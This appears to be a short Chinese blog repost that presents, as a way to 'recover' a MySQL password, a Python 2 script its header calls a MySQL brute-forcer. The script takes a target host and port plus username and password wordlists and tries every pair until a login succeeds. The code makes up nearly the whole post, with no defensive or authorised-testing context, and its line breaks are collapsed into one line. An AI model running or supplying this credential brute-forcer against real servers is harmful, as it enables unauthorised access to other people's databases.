Python找回MySQL密码
2015-08-29 17:50
579 查看
一个博友写得,可以用来找回密码 # -*- coding: utf_8 -*- import MySQLdb import os import sys def README(): print '+' + '-' * 50 + '+' print '\t Python MySQL爆破' print '\t author : sanr' print '\t Time:2015-5-13' print '\t mysql默认字典在程序目录mysql目录' print '+' + '-' * 50 + '+' if len(sys.argv) != 5: print os.path.basename(sys.argv[0]) + " host port user.txt pass.txt" sys.exit() def mysql_brute(name,pwd): db = None try: db = MySQLdb.connect(host=sys.argv[1],user=name,passwd=pwd,db='mysql',port=int(sys.argv[2])) print '破解成功: %s %s'% (name,pwd) except: pass finally : if db: db.close() if __name__ == '__main__': README() userlist = [i.rstrip() for i in open('mysql/'+sys.argv[3])] passlist = [j.rstrip() for j in open('mysql/'+sys.argv[4])] for name in userlist: for pwd in passlist: mysql_brute(name,pwd)
相关文章推荐
- Python之包管理工具
- Python中的编码问题
- 理解Python中的with…as…语法
- python 类和对象的属性
- python 有关super
- Python爬虫框架Scrapy教程(1)—入门
- Python - 带参数的方法
- Python爬虫框架Scrapy教程(1)—入门
- 2015/8/28 Python基础(2):对象
- 2015/8/26 Python基础(1):基本规则及赋值
- python - os模块中比较有用的部分
- Python使用os.listdir()函数来得目录内容的介绍
- python大法好!
- Python 守护进程 例子
- python zerorpc分布式框架
- python中range函数的使用
- 学习日志---python(列表解析、生成器、字典和集合)
- python学习资源
- python各进制相互转换
- Python包管理工具——Pip